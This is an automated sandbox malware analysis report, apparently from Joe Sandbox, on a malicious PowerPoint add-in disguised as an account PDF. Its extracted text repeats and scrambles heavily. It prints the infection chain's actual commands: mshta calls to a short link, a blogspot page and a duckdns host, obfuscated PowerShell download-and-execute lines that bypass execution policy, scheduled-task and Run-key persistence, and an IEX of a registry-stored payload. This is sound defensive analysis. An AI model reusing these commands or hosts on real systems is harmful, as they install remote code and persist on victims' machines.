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General
File Activities
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Key Created

Analysis Process: mshta.exe PID: 2688 Parent PID: 1892
General
File Activities
Registry Activities

Analysis Process: WmiPrvSE.exe PID: 2396 Parent PID: 596
General
Registry Activities

Analysis Process: powershell.exe PID: 1988 Parent PID: 2688
General
File Activities

File Read
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General
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General
File Activities

File Read

Registry Activities
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General
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Registry Activities

Analysis Process: powershell.exe PID: 1368 Parent PID: 1304
General
File Activities

File Read
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General
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General

Analysis Process: powershell.exe PID: 2328 Parent PID: 1764
General

Analysis Process: mshta.exe PID: 2972 Parent PID: 1764
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Code Analysis
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Windows Analysis Report Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam…

Overview

General Information

Sample 
Name:

Acct # 3288-1258-
1NQ39NGAY0GD'pdf.ppa
m

Analysis ID: 528751

MD5: 801ebbda05a9a4…

SHA1: ac65f3e2a69fa2b…

SHA256: a9fab95f89805a5…

Tags: ppam

Infos:

Most interesting Screenshot:

Detection

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped fileAntivirus detection for dropped file

Creates an autostart registry key po

Creates an autostart registry key po

Creates an autostart registry key po

Creates an autostart registry key po

Creates an autostart registry key po

Creates an autostart registry key po

Creates an autostart registry key poCreates an autostart registry key po……

Creates multiple autostart registry ke

Creates multiple autostart registry ke

Creates multiple autostart registry ke

Creates multiple autostart registry ke

Creates multiple autostart registry ke

Creates multiple autostart registry ke

Creates multiple autostart registry keCreates multiple autostart registry ke……

Sigma detected: Suspicious MSHTA

Sigma detected: Suspicious MSHTA

Sigma detected: Suspicious MSHTA

Sigma detected: Suspicious MSHTA

Sigma detected: Suspicious MSHTA

Sigma detected: Suspicious MSHTA

Sigma detected: Suspicious MSHTASigma detected: Suspicious MSHTA……

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMI

Writes or reads registry keys via WMIWrites or reads registry keys via WMI

Bypasses PowerShell execution pol

Bypasses PowerShell execution pol

Bypasses PowerShell execution pol

Bypasses PowerShell execution pol

Bypasses PowerShell execution pol

Bypasses PowerShell execution pol

Bypasses PowerShell execution polBypasses PowerShell execution pol……

Sigma detected: Change PowerShel

Sigma detected: Change PowerShel

Sigma detected: Change PowerShel

Sigma detected: Change PowerShel

Sigma detected: Change PowerShel

Sigma detected: Change PowerShel

Sigma detected: Change PowerShelSigma detected: Change PowerShel……

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office PrSigma detected: Microsoft Office Pr……

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMI

Creates processes via WMICreates processes via WMI

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Sigma detected: MSHTA Spawning 

Sigma detected: MSHTA Spawning 

Sigma detected: MSHTA Spawning 

Sigma detected: MSHTA Spawning 

Sigma detected: MSHTA Spawning 

Sigma detected: MSHTA Spawning 

Sigma detected: MSHTA Spawning Sigma detected: MSHTA Spawning ……

Creates autostart registry keys with 

Creates autostart registry keys with 

Creates autostart registry keys with 

Creates autostart registry keys with 

Creates autostart registry keys with 

Creates autostart registry keys with 

Creates autostart registry keys with Creates autostart registry keys with ……

Sigma detected: Mshta Spawning W

Sigma detected: Mshta Spawning W

Sigma detected: Mshta Spawning W

Sigma detected: Mshta Spawning W

Sigma detected: Mshta Spawning W

Sigma detected: Mshta Spawning W

Sigma detected: Mshta Spawning WSigma detected: Mshta Spawning W……

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMI

Writes registry values via WMIWrites registry values via WMI

Document exploit detected (process

Document exploit detected (process

Document exploit detected (process

Document exploit detected (process

Document exploit detected (process

Document exploit detected (process

Document exploit detected (processDocument exploit detected (process……

Uses schtasks.exe or at.exe to add 

Uses schtasks.exe or at.exe to add 

Uses schtasks.exe or at.exe to add 

Uses schtasks.exe or at.exe to add 

Uses schtasks.exe or at.exe to add 

Uses schtasks.exe or at.exe to add 

Uses schtasks.exe or at.exe to add Uses schtasks.exe or at.exe to add ……

Uses dynamic DNS services

Uses dynamic DNS services

Uses dynamic DNS services

Uses dynamic DNS services

Uses dynamic DNS services

Uses dynamic DNS services

Uses dynamic DNS servicesUses dynamic DNS services

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, thisVery long cmdline option found, this……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Stores large binary data to the regist

Stores large binary data to the regist

Stores large binary data to the regist

Stores large binary data to the regist

Stores large binary data to the regist

Stores large binary data to the regist

Stores large binary data to the registStores large binary data to the regist……

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VB

Document contains an embedded VBDocument contains an embedded VB……

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in coJA3 SSL client fingerprint seen in co……

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detectedPotential document exploit detected……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU Usage

Abnormal high CPU UsageAbnormal high CPU Usage

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detectedPotential document exploit detected……

Searches for the Microsoft Outlook f

Searches for the Microsoft Outlook f

Searches for the Microsoft Outlook f

Searches for the Microsoft Outlook f

Searches for the Microsoft Outlook f

Searches for the Microsoft Outlook f

Searches for the Microsoft Outlook fSearches for the Microsoft Outlook f……

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user ageUses a known web browser user age……

Creates a window with clipboard cap

Creates a window with clipboard cap

Creates a window with clipboard cap

Creates a window with clipboard cap

Creates a window with clipboard cap

Creates a window with clipboard cap

Creates a window with clipboard capCreates a window with clipboard cap……

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener serviceConnects to a URL shortener service

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detected

Potential document exploit detectedPotential document exploit detected……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Classification

Malware Configuration

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w7x64

POWERPNT.EXE (PID: 1612 cmdline: "C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" /AUTOMATION -Embedding MD5: 

EBBBEF2CCA67822395E24D6E18A3BDF6)
cmd.exe (PID: 1212 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\Desktop\Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam" MD5: 

AD7B9C14083B52BC532FBA5948342B98)
POWERPNT.EXE (PID: 1892 cmdline: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\user\Desktop\Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam 

MD5: EBBBEF2CCA67822395E24D6E18A3BDF6)
mshta.exe (PID: 2688 cmdline: c:\windows\system32\calc\..\mshta https://hahahahh@j.mp/ODOASODOchjdjdsfdrueruebdgbjd MD5: 

95828D670CFD3B16EE188168E083C3C5)
powershell.exe (PID: 1988 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https

://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https:/
/8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee7.txt?dn=asdoawkdajicqujwdi') -useB); MD5: 
852D67A27E454BD389FA7F02A8CBE23F)

schtasks.exe (PID: 2976 cmdline: C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 63 /tn ""kbnvmmmhjo"" /F /tr ""\""MsHtA""\""https://kukadunikkk

@kdaoskdokaodkwldld.blogspot.com/p/20.html\" MD5: 97E0EC3D6D99E8CC2B17EF2D3760E8FC)
WmiPrvSE.exe (PID: 2396 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 619A67C9F617B7E69315BB28ECD5E1DF)

taskeng.exe (PID: 2028 cmdline: taskeng.exe {99CBF033-5891-4579-A9C8-09ABEC64739D} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1] 

MD5: 65EA57712340C09B1B0C427B4848AE05)
mshta.exe (PID: 1992 cmdline: C:\Windows\system32\MsHtA.EXE "https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html" MD5: 

95828D670CFD3B16EE188168E083C3C5)
powershell.exe (PID: 1368 cmdline: powershell.exe ((gp HKCU:\Software).cookerr)|IEX MD5: 852D67A27E454BD389FA7F02A8CBE23F)

powershell.exe (PID: 2128 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-

ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a699
0275 MD5: 852D67A27E454BD389FA7F02A8CBE23F)

mshta.exe (PID: 1412 cmdline: C:\Windows\system32\MsHTa.exe" "http://www.starinxxxgkular.duckdns.org/s1/20.txt MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 2328 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-

ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a699
0275 MD5: 852D67A27E454BD389FA7F02A8CBE23F)

mshta.exe (PID: 2972 cmdline: C:\Windows\system32\MsHTa.exe" "http://www.starinxxxgkular.duckdns.org/s1/20.txt MD5: 95828D670CFD3B16EE188168E083C3C5)

cleanup

No configs have been found

Process Tree

Yara Overview
Copyright Joe Security LLC 2021 Page 4 of 90



Sigma Overview

System Summary:

Sigma detected: Suspicious MSHTA Process Patterns

Sigma detected: Change PowerShell Policies to a Unsecure Level

Sigma detected: Microsoft Office Product Spawning Windows Shell

Sigma detected: MSHTA Spawning Windows Shell

Sigma detected: Mshta Spawning Windows Shell

Sigma detected: Non Interactive PowerShell

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Multi AV Scanner detection for submitted file

Antivirus detection for dropped file

Machine Learning detection for sample

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Networking:

Source Rule Description Author Strings

00000005.00000003.435105368.000000000034
4000.00000004.00000001.sdmp

PowerShell_Case_Anomal
y

Detects 
obfuscated 
PowerShell 
hacktools

Florian Roth 0x5fb8:$s1: pOwersHelL
0x5fd6:$k1: -NoProfile
0x5fd6:$kn2: -NoProfile

00000005.00000003.432820755.000000000034
A000.00000004.00000001.sdmp

PowerShell_Case_Anomal
y

Detects 
obfuscated 
PowerShell 
hacktools

Florian Roth 0xb3a:$s1: pOwersHelL
0xb58:$k1: -NoProfile
0xb58:$kn2: -NoProfile

00000005.00000003.436354812.000000000034
4000.00000004.00000001.sdmp

PowerShell_Case_Anomal
y

Detects 
obfuscated 
PowerShell 
hacktools

Florian Roth 0x5fb8:$s1: pOwersHelL
0x5fd6:$k1: -NoProfile
0x5fd6:$kn2: -NoProfile

00000005.00000003.435170684.000000000034
4000.00000004.00000001.sdmp

PowerShell_Case_Anomal
y

Detects 
obfuscated 
PowerShell 
hacktools

Florian Roth 0x5fb8:$s1: pOwersHelL
0x5fd6:$k1: -NoProfile
0x5fd6:$kn2: -NoProfile

00000005.00000002.440997943.00000000047C
5000.00000004.00000001.sdmp

PowerShell_Case_Anomal
y

Detects 
obfuscated 
PowerShell 
hacktools

Florian Roth 0x584:$s1: pOwersHelL
0x1464:$s1: pOwersHelL
0x2344:$s1: pOwersHelL
0x5a2:$k1: -NoProfile
0x1482:$k1: -NoProfile
0x2362:$k1: -NoProfile
0x5a2:$kn2: -NoProfile
0x1482:$kn2: -NoProfile
0x2362:$kn2: -NoProfile
0x38cc:$kn2: -NoProfile

Click to see the 7 entries

Yara Overview

Memory Dumps

Copyright Joe Security LLC 2021 Page 5 of 90



Uses dynamic DNS services

System Summary:

Writes or reads registry keys via WMI

Writes registry values via WMI

Persistence and Installation Behavior:

Creates processes via WMI

Boot Survival:

Creates an autostart registry key pointing to binary in C:\Windows

Creates multiple autostart registry keys

Creates autostart registry keys with suspicious values (likely registry only malware)

Uses schtasks.exe or at.exe to add and modify task schedules

HIPS / PFW / Operating System Protection Evasion:

Bypasses PowerShell execution policy

Mitre Att&ck Matrix

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command and
Control

Spearphishing
Link 1

Windows
Management
Instrumentation 3 1

Scheduled
Task/Job 1

Process
Injection 1 2

Masquerading 1 OS
Credential
Dumping

Security Software
Discovery 1

Remote
Services

Email
Collection 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Default
Accounts

Command and
Scripting
Interpreter 1 1

Registry
Run Keys /
Startup
Folder 3 1

Scheduled
Task/Job 1

Modify Registry 1 LSASS
Memory

Process Discovery 2 Remote
Desktop
Protocol

Clipboard
Data 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 4

Domain
Accounts

Scheduled
Task/Job 1

Logon Script
(Windows)

Registry Run
Keys / Startup
Folder 3 1

Disable or Modify
Tools 1

Security
Account
Manager

Virtualization/Sandbox
Evasion 2 1

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-Application
Layer Protocol 3

Local
Accounts

Scripting 1 Logon Script
(Mac)

Logon Script
(Mac)

Virtualization/Sandbox
Evasion 2 1

NTDS Remote System
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application Layer
Protocol 1 1 4

Cloud
Accounts

Exploitation for Client
Execution 1 3

Network
Logon Script

Network
Logon Script

Process
Injection 1 2

LSA
Secrets

File and Directory
Discovery 2

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Replication
Through
Removable
Media

PowerShell 1 Rc.common Rc.common Scripting 1 Cached
Domain
Credentials

System Information
Discovery 1 5

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Behavior Graph

Copyright Joe Security LLC 2021 Page 6 of 90



Behavior Graph

ID: 528751

Sample: Acct # 3288-1258-1NQ39NGAY0...

Startdate: 25/11/2021

Architecture: WINDOWS

Score: 100

Antivirus detection
for dropped file

Multi AV Scanner detection
for submitted file

Machine Learning detection
for sample 7 other signatures

cmd.exe

1

        started       

WmiPrvSE.exe

2

        started       

taskeng.exe

1

        started       

6 other processes

POWERPNT.EXE

8 15

        started       

Creates autostart registry
keys with suspicious
values (likely registry

only malware)

Creates multiple autostart
registry keys

Creates an autostart
registry key pointing

to binary in C:\Windows

mshta.exe

1 20

        started       

www.starinxxxgkular.duckdns.org

142.251.40.228, 49179, 49180, 49185

GOOGLEUS

United States

www.google.com

172.217.168.68, 49180, 49181, 49182

GOOGLEUS

United States

mshta.exe

4 13

        started       

blogspot.l.googleusercontent.com

172.217.168.1, 443, 49168

GOOGLEUS

United States

accounts.google.com

172.217.168.45, 443, 49174

GOOGLEUS

United States

6 other IPs or domains

C:\Users\user\AppData\Local\...\20[1].htm, HTML

dropped

j.mp

67.199.248.16, 443, 49165

GOOGLE-PRIVATE-CLOUDUS

United States

download2347.mediafire.com

199.91.155.88, 443, 49167

MEDIAFIREUS

United States

www.mediafire.com

104.16.203.237, 443, 49166

CLOUDFLARENETUS

United States

Bypasses PowerShell
execution policy

Uses schtasks.exe or
at.exe to add and modify

task schedules

Creates processes via
WMI 2 other signatures

powershell.exe

6

        started       

schtasks.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam 38% Virustotal Browse

Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam 100% Joe Sandbox ML

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JW
C\20[1].htm

100% Avira JS/Dropper.G4

No Antivirus matches

Source Detection Scanner Label Link

j.mp 0% Virustotal Browse

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Copyright Joe Security LLC 2021 Page 8 of 90

https://www.virustotal.com/gui/file/a9fab95f89805a51542cf30800de459ff78eb8a3262642053959ef17c220e5a4/detection/f-a9fab95f89805a51542cf30800de459ff78eb8a3262642053959ef17c220e5a4-1637831299
https://www.virustotal.com/gui/url/e0c1c1858c2679487ba451286088389d8a52d7266789adccc32e85e61780fa8e/detection/u-e0c1c1858c2679487ba451286088389d8a52d7266789adccc32e85e61780fa8e-1637400579


Source Detection Scanner Label Link

https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ug 0% Avira URL Cloud safe

https://www.google.co.uk/intl/de/about/products?tab=jh 0% Avira URL Cloud safe

crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe

www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe

https://j.mp/ODOASODOchjdjdsfdrueruebdgbjd 0% Avira URL Cloud safe

https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.c 0% Avira URL Cloud safe

https://i18n-cloud.appspot.com 0% URL Reputation safe

https://www.blogger.comlinkCopiedToClipboardShare 0% Avira URL Cloud safe

windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe

https://translate.google.co.uk/?hl=de&tab=jT 0% Avira URL Cloud safe

https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_4 0% Avira URL Cloud safe

https://8db3b91a-ea93-419b-b51b-
0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c0

0% Avira URL Cloud safe

https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3 0% Avira URL Cloud safe

https://www.blogger.com0 0% Avira URL Cloud safe

https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8d 0% Avira URL Cloud safe

https://kdaoskdokaodkwldld.blogsp.p 0% Avira URL Cloud safe

ocsp.entrust.net03 0% URL Reputation safe

https://www.blogblog.com; 0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

www.starinxxxgkular.duckdns.org 142.251.40.228 true false unknown

www.mediafire.com 104.16.203.237 true false high

download2347.mediafire.com 199.91.155.88 true false high

accounts.google.com 172.217.168.45 true false high

www-google-analytics.l.google.com 216.58.215.238 true false high

blogspot.l.googleusercontent.com 172.217.168.1 true false high

j.mp 67.199.248.16 true true 0%, Virustotal, Browse unknown

www.google.com 172.217.168.68 true false high

blogger.l.google.com 172.217.168.9 true false high

kdaoskdokaodkwldld.blogspot.com unknown unknown false high

www.blogger.com unknown unknown false high

resources.blogblog.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://www.blogger.com/static/v1/widgets/1397508952-widgets.js false high

https://accounts.google.com/ServiceLogin?
passive=true&continue=https://www.blogger.com/blogin.g?
blogspotURL%3Dhttps://kdaoskdokaodkwldld.blogspot.com/p/20.html%26type%3Dblog%26bp
li%3D1&followup=https://www.blogger.com/blogin.g?
blogspotURL%3Dhttps://kdaoskdokaodkwldld.blogspot.com/p/20.html%26type%3Dblog%26bp
li%3D1&go=true

false high

https://j.mp/ODOASODOchjdjdsfdrueruebdgbjd false Avira URL Cloud: safe unknown

https://www.blogger.com/static/v1/jsbin/403901366-ieretrofit.js false high

https://www.mediafire.com/file/95ggilwnqccbq6l/20.doc/file false high

https://www.blogger.com/static/v1/widgets/1529571102-css_bundle_v2.css false high

https://www.blogger.com/blogin.g?
blogspotURL=https://kdaoskdokaodkwldld.blogspot.com/p/20.html&type=blog

false high

https://www.blogger.com/static/v1/v-css/281434096-static_pages.css false high

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public
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https://www.virustotal.com/gui/url/e0c1c1858c2679487ba451286088389d8a52d7266789adccc32e85e61780fa8e/detection/u-e0c1c1858c2679487ba451286088389d8a52d7266789adccc32e85e61780fa8e-1637400579


General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 528751

Start date: 25.11.2021

Start time: 18:32:31

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 9m 0s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 
4.6.2)

Number of analysed new started processes 
analysed:

27

Number of new started drivers analysed: 2

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
GSI enabled (VBA)
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.expl.evad.winPPAM@20/26@14/8

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .ppam
Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog
Click Ok
Attach to Office via COM
Scroll down
Close Viewer

Warnings:

IP Domain Country Flag ASN ASN Name Malicious

199.91.155.88 download2347.mediafire.co
m

United States 46179 MEDIAFIREUS false

172.217.168.68 www.google.com United States 15169 GOOGLEUS false

172.217.168.45 accounts.google.com United States 15169 GOOGLEUS false

172.217.168.9 blogger.l.google.com United States 15169 GOOGLEUS false

104.16.203.237 www.mediafire.com United States 13335 CLOUDFLARENETUS false

142.251.40.228 www.starinxxxgkular.duckd
ns.org

United States 15169 GOOGLEUS false

172.217.168.1 blogspot.l.googleuserconte
nt.com

United States 15169 GOOGLEUS false

67.199.248.16 j.mp United States 396982 GOOGLE-PRIVATE-
CLOUDUS

true

Show All

Simulations

Behavior and APIs
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Time Type Description

18:33:25 API Interceptor 1275x Sleep call for process: mshta.exe modified

18:33:29 API Interceptor 440x Sleep call for process: WmiPrvSE.exe modified

18:33:31 API Interceptor 2x Sleep call for process: schtasks.exe modified

18:33:31 API Interceptor 507x Sleep call for process: powershell.exe modified

18:33:32 Task Scheduler Run new task: kbnvmmmhjo path: "MsHtA" s>"https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.h
tml"

18:33:32 API Interceptor 426x Sleep call for process: taskeng.exe modified

18:33:34 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run cjjhkloggw pOwersHelL.exe -NoProfile -Execut
ionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8
db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-
ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee7.txt?
dn=asdoawkdajicqujwdi') -useB);

18:33:42 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run pilodkis "MsHTa""http://www.starinxxxgkular.
duckdns.org/s1/20.txt"

18:33:51 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run cjjhkloggw pOwersHelL.exe -NoProfile -Exec
utionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd
/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-
ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee7.txt?dn=asdo
awkdajicqujwdi') -useB);

18:33:59 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run pilodkis "MsHTa""http://www.starinxxxgkula
r.duckdns.org/s1/20.txt"

Match Associated Sample Name / URL SHA 256 Detection Link Context

199.91.155.88 Order Contract_signed (2NQ39NGAY0GD).ppam Get hash malicious Browse

Order Contract_signed (4NQ39NGAY0GD).ppam Get hash malicious Browse

original shipping documents.ppam Get hash malicious Browse

104.16.203.237 TT-PRIME USD242,357,59.ppam Get hash malicious Browse  www.media
fire.com/cdn-
cgi/rum?

download2224.mediafire.com/5rqvtr7atabg/4ufxk777x7qfcdd/
FastStoneCapturePortableTW_9.0_azo.exe

Get hash malicious Browse  www.media
fire.com/i
mages/icon
s/myfiles/
default.png

download2134.mediafire.com/6d7pu7669u7g/5vpr2kr4s29utk7
/PAG004.tgz

Get hash malicious Browse  www.media
fire.com/d
ownload_re
pair.php?f
lag=3&dkey
=6d7pu7669
u7&qkey=5v
pr2kr4s29u
tk7&ip=84.
17.52.40&ref=3

www.mediafire.com/file/cnwik2kgdebsisy/PAG0002.tgz/file
Get hash malicious Browse  www.media

fire.com/i
mages/icon
s/myfiles/
default.png

www.mediafire.com/file/4xm9i7c25z2wtqj/Parsel+Detaylar%C
4%B1.7z/file

Get hash malicious Browse  www.media
fire.com/f
ile/4xm9i7
c25z2wtqj/
Parsel+Det
aylar%C4%B
1.7z/file

https://download1580.mediafire.com/4xprc4caulsg/qpuaxqx0p
dqcik8/Solicitud+de+presupuesto.7z

Get hash malicious Browse  www.media
fire.com/u
pgrade

www.mediafire.com/file/f28ppsxzjuy1xsb/UPSRO+280920332
1.7z/file

Get hash malicious Browse  www.media
fire.com/f
ile/f28pps
xzjuy1xsb/
UPSRO+2809
203321.7z/file

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/416395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid
https://view.joesandbox.com/analysis/415841/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415841/html/none?idtype=webid
https://view.joesandbox.com/analysis/415113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415113/html/none?idtype=webid
https://view.joesandbox.com/analysis/415659/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415659/html/none?idtype=webid
